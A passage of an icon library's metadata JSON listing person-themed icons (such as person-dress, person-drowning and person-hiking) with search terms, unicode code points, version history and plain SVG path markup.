        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 176A88 88 0 1 0 288 0a88 88 0 1 0 0 176zM78.7 372.9c15-12.5 50-34.4 97.3-50.1V432H400V322.7c47.3 15.8 82.3 37.7 97.3 50.1c20.4 17 50.6 14.2 67.6-6.1s14.2-50.6-6.1-67.6c-12-10-30.1-22.5-53.2-35C497.2 278.4 481.7 288 464 288c-26.5 0-48-21.5-48-48c0-4.3 .6-8.4 1.6-12.4C379.1 215.9 335.3 208 288 208c-60.2 0-114.9 12.9-160 29.9c0 .7 0 1.4 0 2.1c0 26.5-21.5 48-48 48c-11.8 0-22.7-4.3-31-11.4c-13.1 8.1-23.7 15.9-31.7 22.5c-20.4 17-23.1 47.2-6.1 67.6s47.2 23.1 67.6 6.1zM24 464c-13.3 0-24 10.7-24 24s10.7 24 24 24H552c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM224 280a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm104 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM96 240a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm368 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 176A88 88 0 1 0 288 0a88 88 0 1 0 0 176zM78.7 372.9c15-12.5 50-34.4 97.3-50.1V432H400V322.7c47.3 15.8 82.3 37.7 97.3 50.1c20.4 17 50.6 14.2 67.6-6.1s14.2-50.6-6.1-67.6c-12-10-30.1-22.5-53.2-35C497.2 278.4 481.7 288 464 288c-26.5 0-48-21.5-48-48c0-4.3 .6-8.4 1.6-12.4C379.1 215.9 335.3 208 288 208c-60.2 0-114.9 12.9-160 29.9c0 .7 0 1.4 0 2.1c0 26.5-21.5 48-48 48c-11.8 0-22.7-4.3-31-11.4c-13.1 8.1-23.7 15.9-31.7 22.5c-20.4 17-23.1 47.2-6.1 67.6s47.2 23.1 67.6 6.1zM24 464c-13.3 0-24 10.7-24 24s10.7 24 24 24H552c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM224 280a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm104 56a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM96 240a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm368 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "person-dress": {
    "aliases": {
      "names": ["female"],
      "unicodes": {
        "secondary": ["10f182"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["man", "skirt", "woman"]
    },
    "styles": ["solid"],
    "unicode": "f182",
    "label": "Person Dress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM88 384H70.2c-10.9 0-18.6-10.7-15.2-21.1L93.3 248.1 59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l53.6-89.2c20.3-33.7 56.7-54.3 96-54.3h11.6c39.3 0 75.7 20.6 96 54.3l53.6 89.2c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9l-33.9-56.3L265 362.9c3.5 10.4-4.3 21.1-15.2 21.1H232v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H152v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM88 384H70.2c-10.9 0-18.6-10.7-15.2-21.1L93.3 248.1 59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l53.6-89.2c20.3-33.7 56.7-54.3 96-54.3h11.6c39.3 0 75.7 20.6 96 54.3l53.6 89.2c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9l-33.9-56.3L265 362.9c3.5 10.4-4.3 21.1-15.2 21.1H232v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H152v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384z"
      }
    },
    "free": ["solid"]
  },
  "person-dress-burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abuse", "accident", "crash", "explode", "violence"]
    },
    "styles": ["solid"],
    "unicode": "e544",
    "label": "Person Dress Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M528 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM390.2 384H408v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h16v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h17.8c10.9 0 18.6-10.7 15.2-21.1L546.7 248.1l33.9 56.3c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-53.6-89.2c-20.2-33.7-56.7-54.3-96-54.3H474.2c-39.3 0-75.7 20.6-96 54.3l-53.6 89.2c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9l33.9-56.3L375 362.9c-3.5 10.4 4.3 21.1 15.2 21.1zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 50.5-7.8 24.4-40.5-55.2-38L315 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M528 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM390.2 384H408v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h16v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h17.8c10.9 0 18.6-10.7 15.2-21.1L546.7 248.1l33.9 56.3c9.1 15.1 28.8 20 43.9 10.9s20-28.8 10.9-43.9l-53.6-89.2c-20.2-33.7-56.7-54.3-96-54.3H474.2c-39.3 0-75.7 20.6-96 54.3l-53.6 89.2c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9l33.9-56.3L375 362.9c-3.5 10.4 4.3 21.1 15.2 21.1zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 50.5-7.8 24.4-40.5-55.2-38L315 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74z"
      }
    },
    "free": ["solid"]
  },
  "person-drowning": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drown", "emergency", "swim"]
    },
    "styles": ["solid"],
    "unicode": "e545",
    "label": "Person Drowning",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M192 64c0-17.7-14.3-32-32-32s-32 14.3-32 32V96.2c0 54.1 23.5 104 62.2 138.3l-21 146.7c7.8 2.1 15.5 3.3 22.8 3.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c12.4 8.5 26.1 14.8 39.7 18l17.7-97.6c10.7-1.2 21.3-3.1 31.9-5.5l105-23.9c17.2-3.9 28-21.1 24.1-38.3s-21.1-28-38.3-24.1L400 216.6c-41 9.3-83.7 7.5-123.7-5.2c-50.2-16-84.3-62.6-84.3-115.3V64zM320 192a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM306.5 389.9c-11.1-7.9-25.9-7.9-37 0C247 405.4 219.5 416 192 416c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 469.7 159 480 192 480c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 405.2 410.9 416 384 416c-27.5 0-55-10.6-77.5-26.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M192 64c0-17.7-14.3-32-32-32s-32 14.3-32 32V96.2c0 54.1 23.5 104 62.2 138.3l-21 146.7c7.8 2.1 15.5 3.3 22.8 3.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c12.4 8.5 26.1 14.8 39.7 18l17.7-97.6c10.7-1.2 21.3-3.1 31.9-5.5l105-23.9c17.2-3.9 28-21.1 24.1-38.3s-21.1-28-38.3-24.1L400 216.6c-41 9.3-83.7 7.5-123.7-5.2c-50.2-16-84.3-62.6-84.3-115.3V64zM320 192a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM306.5 389.9c-11.1-7.9-25.9-7.9-37 0C247 405.4 219.5 416 192 416c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 469.7 159 480 192 480c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 405.2 410.9 416 384 416c-27.5 0-55-10.6-77.5-26.1z"
      }
    },
    "free": ["solid"]
  },
  "person-falling": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["accident", "fall", "trip"]
    },
    "styles": ["solid"],
    "unicode": "e546",
    "label": "Person Falling",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 0c17.7 0 32 14.3 32 32l0 9.8c0 54.6-27.9 104.6-72.5 133.6l.2 .3L304.5 256l87.5 0c15.1 0 29.3 7.1 38.4 19.2l43.2 57.6c10.6 14.1 7.7 34.2-6.4 44.8s-34.2 7.7-44.8-6.4L384 320l-96 0h-1.4l92.3 142.6c9.6 14.8 5.4 34.6-9.5 44.3s-34.6 5.4-44.3-9.5L164.5 249.2c-2.9 9.2-4.5 19-4.5 29l0 73.8c0 17.7-14.3 32-32 32s-32-14.3-32-32V278.2c0-65.1 39.6-123.7 100.1-147.9C232.3 115.8 256 80.8 256 41.8l0-9.8c0-17.7 14.3-32 32-32zM112 32a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 0c17.7 0 32 14.3 32 32l0 9.8c0 54.6-27.9 104.6-72.5 133.6l.2 .3L304.5 256l87.5 0c15.1 0 29.3 7.1 38.4 19.2l43.2 57.6c10.6 14.1 7.7 34.2-6.4 44.8s-34.2 7.7-44.8-6.4L384 320l-96 0h-1.4l92.3 142.6c9.6 14.8 5.4 34.6-9.5 44.3s-34.6 5.4-44.3-9.5L164.5 249.2c-2.9 9.2-4.5 19-4.5 29l0 73.8c0 17.7-14.3 32-32 32s-32-14.3-32-32V278.2c0-65.1 39.6-123.7 100.1-147.9C232.3 115.8 256 80.8 256 41.8l0-9.8c0-17.7 14.3-32 32-32zM112 32a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "person-falling-burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["accident", "crash", "death", "fall", "homicide", "murder"]
    },
    "styles": ["solid"],
    "unicode": "e547",
    "label": "Person Falling Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 9.8c0 39-23.7 74-59.9 88.4C71.6 154.5 32 213 32 278.2V352c0 17.7 14.3 32 32 32s32-14.3 32-32l0-73.8c0-10 1.6-19.8 4.5-29L261.1 497.4c9.6 14.8 29.4 19.1 44.3 9.5s19.1-29.4 9.5-44.3L222.6 320H224l80 0 38.4 51.2c10.6 14.1 30.7 17 44.8 6.4s17-30.7 6.4-44.8l-43.2-57.6C341.3 263.1 327.1 256 312 256l-71.5 0-56.8-80.2-.2-.3c44.7-29 72.5-79 72.5-133.6l0-9.8zM96 80A48 48 0 1 0 0 80a48 48 0 1 0 96 0zM464 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 78.7-12.2c6.5-1 11.7-5.9 13.1-12.2s-1.1-13-6.5-16.7l-65.6-45.1L603 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L508.3 92.1l-29.4-74C476.4 12 470.6 8 464 8s-12.4 4-14.9 10.1l-29.4 74L343.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1-65.6 45.1c-5.4 3.7-8 10.3-6.5 16.7c.1 .3 .1 .6 .2 .8l19.4 0c20.1 0 39.2 7.5 53.8 20.8l18.4 2.9L383 265.3l36.2 48.3c2.1 2.8 3.9 5.7 5.5 8.6L464 286.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 9.8c0 39-23.7 74-59.9 88.4C71.6 154.5 32 213 32 278.2V352c0 17.7 14.3 32 32 32s32-14.3 32-32l0-73.8c0-10 1.6-19.8 4.5-29L261.1 497.4c9.6 14.8 29.4 19.1 44.3 9.5s19.1-29.4 9.5-44.3L222.6 320H224l80 0 38.4 51.2c10.6 14.1 30.7 17 44.8 6.4s17-30.7 6.4-44.8l-43.2-57.6C341.3 263.1 327.1 256 312 256l-71.5 0-56.8-80.2-.2-.3c44.7-29 72.5-79 72.5-133.6l0-9.8zM96 80A48 48 0 1 0 0 80a48 48 0 1 0 96 0zM464 286.1l58.6 53.9c4.8 4.4 11.9 5.5 17.8 2.6s9.5-9 9-15.5l-5.6-79.4 78.7-12.2c6.5-1 11.7-5.9 13.1-12.2s-1.1-13-6.5-16.7l-65.6-45.1L603 92.2c3.3-5.7 2.7-12.8-1.4-17.9s-10.9-7.2-17.2-5.3L508.3 92.1l-29.4-74C476.4 12 470.6 8 464 8s-12.4 4-14.9 10.1l-29.4 74L343.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1-65.6 45.1c-5.4 3.7-8 10.3-6.5 16.7c.1 .3 .1 .6 .2 .8l19.4 0c20.1 0 39.2 7.5 53.8 20.8l18.4 2.9L383 265.3l36.2 48.3c2.1 2.8 3.9 5.7 5.5 8.6L464 286.1z"
      }
    },
    "free": ["solid"]
  },
  "person-half-dress": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["gender", "man", "restroom", "transgender", "woman"]
    },
    "styles": ["solid"],
    "unicode": "e548",
    "label": "Person Half Dress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm8 352V128h6.9c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352h0zM58.2 182.3c19.9-33.1 55.3-53.5 93.8-54.3V384h0v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H70.2c-10.9 0-18.6-10.7-15.2-21.1L93.3 248.1 59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l53.6-89.2z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm8 352V128h6.9c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L232 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352h0zM58.2 182.3c19.9-33.1 55.3-53.5 93.8-54.3V384h0v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H70.2c-10.9 0-18.6-10.7-15.2-21.1L93.3 248.1 59.4 304.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l53.6-89.2z"
      }
    },
    "free": ["solid"]
  },
  "person-harassing": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abuse", "scream", "shame", "shout", "yell"]
    },
    "styles": ["solid"],
    "unicode": "e549",
    "label": "Person Harassing",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM59.4 304.5L88 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V235.3l47.4 57.1c11.3 13.6 31.5 15.5 45.1 4.2s15.5-31.5 4.2-45.1l-73.7-88.9c-18.2-22-45.3-34.7-73.9-34.7H145.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9zM480 240a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM464 344v58.7l-41.4-41.4c-7.3-7.3-17.6-10.6-27.8-9s-18.9 8.1-23.5 17.3l-48 96c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3L408.8 438l54.7 54.7c12.4 12.4 29.1 19.3 46.6 19.3c36.4 0 65.9-29.5 65.9-65.9V344c0-30.9-25.1-56-56-56s-56 25.1-56 56zM288 48c0 8.8 7.2 16 16 16h56c8.8 0 16-7.2 16-16s-7.2-16-16-16H304c-8.8 0-16 7.2-16 16zm-.8 49.7c-7.9-4-17.5-.7-21.5 7.2s-.7 17.5 7.2 21.5l48 24c7.9 4 17.5 .7 21.5-7.2s.7-17.5-7.2-21.5l-48-24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M192 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM59.4 304.5L88 256.9V480c0 17.7 14.3 32 32 32s32-14.3 32-32V352h16V480c0 17.7 14.3 32 32 32s32-14.3 32-32V235.3l47.4 57.1c11.3 13.6 31.5 15.5 45.1 4.2s15.5-31.5 4.2-45.1l-73.7-88.9c-18.2-22-45.3-34.7-73.9-34.7H145.1c-33.7 0-64.9 17.7-82.3 46.6l-58.3 97c-9.1 15.1-4.2 34.8 10.9 43.9s34.8 4.2 43.9-10.9zM480 240a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM464 344v58.7l-41.4-41.4c-7.3-7.3-17.6-10.6-27.8-9s-18.9 8.1-23.5 17.3l-48 96c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3L408.8 438l54.7 54.7c12.4 12.4 29.1 19.3 46.6 19.3c36.4 0 65.9-29.5 65.9-65.9V344c0-30.9-25.1-56-56-56s-56 25.1-56 56zM288 48c0 8.8 7.2 16 16 16h56c8.8 0 16-7.2 16-16s-7.2-16-16-16H304c-8.8 0-16 7.2-16 16zm-.8 49.7c-7.9-4-17.5-.7-21.5 7.2s-.7 17.5 7.2 21.5l48 24c7.9 4 17.5 .7 21.5-7.2s.7-17.5-7.2-21.5l-48-24z"
      }
    },
    "free": ["solid"]
  },
  "person-hiking": {
    "aliases": {
      "names": ["hiking"],
      "unicodes": {
        "secondary": ["10f6ec"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "autumn",
        "fall",
        "hike",
        "mountain",
        "outdoors",
        "summer",
        "walk"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6ec",
    "label": "Person Hiking",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm51.3 182.7L224.2 307l49.7 49.7c9 9 14.1 21.2 14.1 33.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V397.3l-73.9-73.9c-15.8-15.8-22.2-38.6-16.9-60.3l20.4-84c8.3-34.1 42.7-54.9 76.7-46.4c19 4.8 35.6 16.4 46.4 32.7L305.1 208H336V184c0-13.3 10.7-24 24-24s24 10.7 24 24v55.8c0 .1 0 .2 0 .2s0 .2 0 .2V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V272H296.6c-16 0-31-8-39.9-21.4l-13.3-20zM81.1 471.9L117.3 334c3 4.2 6.4 8.2 10.1 11.9l41.9 41.9L142.9 488.1c-4.5 17.1-22 27.3-39.1 22.8s-27.3-22-22.8-39.1zm55.5-346L101.4 266.5c-3 12.1-14.9 19.9-27.2 17.9l-47.9-8c-14-2.3-22.9-16.3-19.2-30L31.9 155c9.5-34.8 41.1-59 77.2-59h4.2c15.6 0 27.1 14.7 23.3 29.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm51.3 182.7L224.2 307l49.7 49.7c9 9 14.1 21.2 14.1 33.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V397.3l-73.9-73.9c-15.8-15.8-22.2-38.6-16.9-60.3l20.4-84c8.3-34.1 42.7-54.9 76.7-46.4c19 4.8 35.6 16.4 46.4 32.7L305.1 208H336V184c0-13.3 10.7-24 24-24s24 10.7 24 24v55.8c0 .1 0 .2 0 .2s0 .2 0 .2V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V272H296.6c-16 0-31-8-39.9-21.4l-13.3-20zM81.1 471.9L117.3 334c3 4.2 6.4 8.2 10.1 11.9l41.9 41.9L142.9 488.1c-4.5 17.1-22 27.3-39.1 22.8s-27.3-22-22.8-39.1zm55.5-346L101.4 266.5c-3 12.1-14.9 19.9-27.2 17.9l-47.9-8c-14-2.3-22.9-16.3-19.2-30L31.9 155c9.5-34.8 41.1-59 77.2-59h4.2c15.6 0 27.1 14.7 23.3 29.8z"
      }
    },
    "free": ["solid"]
  },
  "person-military-pointing": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["army", "customs", "guard"]
    },
    "styles": ["solid"],
    "unicode": "e54a",
    "label": "Person Military Pointing",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M246.9 14.1C234 15.2 224 26 224 39c0 13.8 11.2 25 25 25H400c8.8 0 16-7.2 16-16V17.4C416 8 408 .7 398.7 1.4L246.9 14.1zM240 112c0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H241.6c-1 5.2-1.6 10.5-1.6 16zM72 224c-22.1 0-40 17.9-40 40s17.9 40 40 40H224v89.4L386.8 230.5c-13.3-4.3-27.3-6.5-41.6-6.5H240 72zm345.7 20.9L246.6 416H416V369.7l53.6 90.6c11.2 19 35.8 25.3 54.8 14.1s25.3-35.8 14.1-54.8L462.3 290.8c-11.2-18.9-26.6-34.5-44.6-45.9zM224 448v32c0 17.7 14.3 32 32 32H384c17.7 0 32-14.3 32-32V448H224z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M246.9 14.1C234 15.2 224 26 224 39c0 13.8 11.2 25 25 25H400c8.8 0 16-7.2 16-16V17.4C416 8 408 .7 398.7 1.4L246.9 14.1zM240 112c0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H241.6c-1 5.2-1.6 10.5-1.6 16zM72 224c-22.1 0-40 17.9-40 40s17.9 40 40 40H224v89.4L386.8 230.5c-13.3-4.3-27.3-6.5-41.6-6.5H240 72zm345.7 20.9L246.6 416H416V369.7l53.6 90.6c11.2 19 35.8 25.3 54.8 14.1s25.3-35.8 14.1-54.8L462.3 290.8c-11.2-18.9-26.6-34.5-44.6-45.9zM224 448v32c0 17.7 14.3 32 32 32H384c17.7 0 32-14.3 32-32V448H224z"
      }
    },
    "free": ["solid"]
  },
  "person-military-rifle": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["armed forces", "army", "military", "rifle", "war"]
    },
    "styles": ["solid"],
    "unicode": "e54b",
    "label": "Person Military Rifle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 39c0-13 10-23.8 22.9-24.9L334.7 1.4C344 .7 352 8 352 17.4V48c0 8.8-7.2 16-16 16H185c-13.8 0-25-11.2-25-25zm17.6 57H334.4c1 5.2 1.6 10.5 1.6 16c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-5.5 .6-10.8 1.6-16zm228 364.3L352 369.7V480c0 1.3-.1 2.5-.2 3.8L177.5 234.9c16.6-7.1 34.6-10.9 53.3-10.9h50.4c15.9 0 31.3 2.8 45.8 7.9L421.9 67.7c-7.7-4.4-10.3-14.2-5.9-21.9s14.2-10.3 21.9-5.9l13.9 8 13.9 8c7.7 4.4 10.3 14.2 5.9 21.9L416 173.9l1.6 .9c15.3 8.8 20.6 28.4 11.7 43.7L392.6 282c2 2.8 3.9 5.8 5.7 8.8l76.1 128.8c11.2 19 4.9 43.5-14.1 54.8s-43.5 4.9-54.8-14.1zM320 512H192c-17.7 0-32-14.3-32-32V369.7l-53.6 90.6c-11.2 19-35.8 25.3-54.8 14.1s-25.3-35.8-14.1-54.8l76.1-128.8c9.4-15.8 21.7-29.3 36-40L331.1 510c-3.5 1.3-7.2 2-11.1 2zM296 320a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 39c0-13 10-23.8 22.9-24.9L334.7 1.4C344 .7 352 8 352 17.4V48c0 8.8-7.2 16-16 16H185c-13.8 0-25-11.2-25-25zm17.6 57H334.4c1 5.2 1.6 10.5 1.6 16c0 44.2-35.8 80-80 80s-80-35.8-80-80c0-5.5 .6-10.8 1.6-16zm228 364.3L352 369.7V480c0 1.3-.1 2.5-.2 3.8L177.5 234.9c16.6-7.1 34.6-10.9 53.3-10.9h50.4c15.9 0 31.3 2.8 45.8 7.9L421.9 67.7c-7.7-4.4-10.3-14.2-5.9-21.9s14.2-10.3 21.9-5.9l13.9 8 13.9 8c7.7 4.4 10.3 14.2 5.9 21.9L416 173.9l1.6 .9c15.3 8.8 20.6 28.4 11.7 43.7L392.6 282c2 2.8 3.9 5.8 5.7 8.8l76.1 128.8c11.2 19 4.9 43.5-14.1 54.8s-43.5 4.9-54.8-14.1zM320 512H192c-17.7 0-32-14.3-32-32V369.7l-53.6 90.6c-11.2 19-35.8 25.3-54.8 14.1s-25.3-35.8-14.1-54.8l76.1-128.8c9.4-15.8 21.7-29.3 36-40L331.1 510c-3.5 1.3-7.2 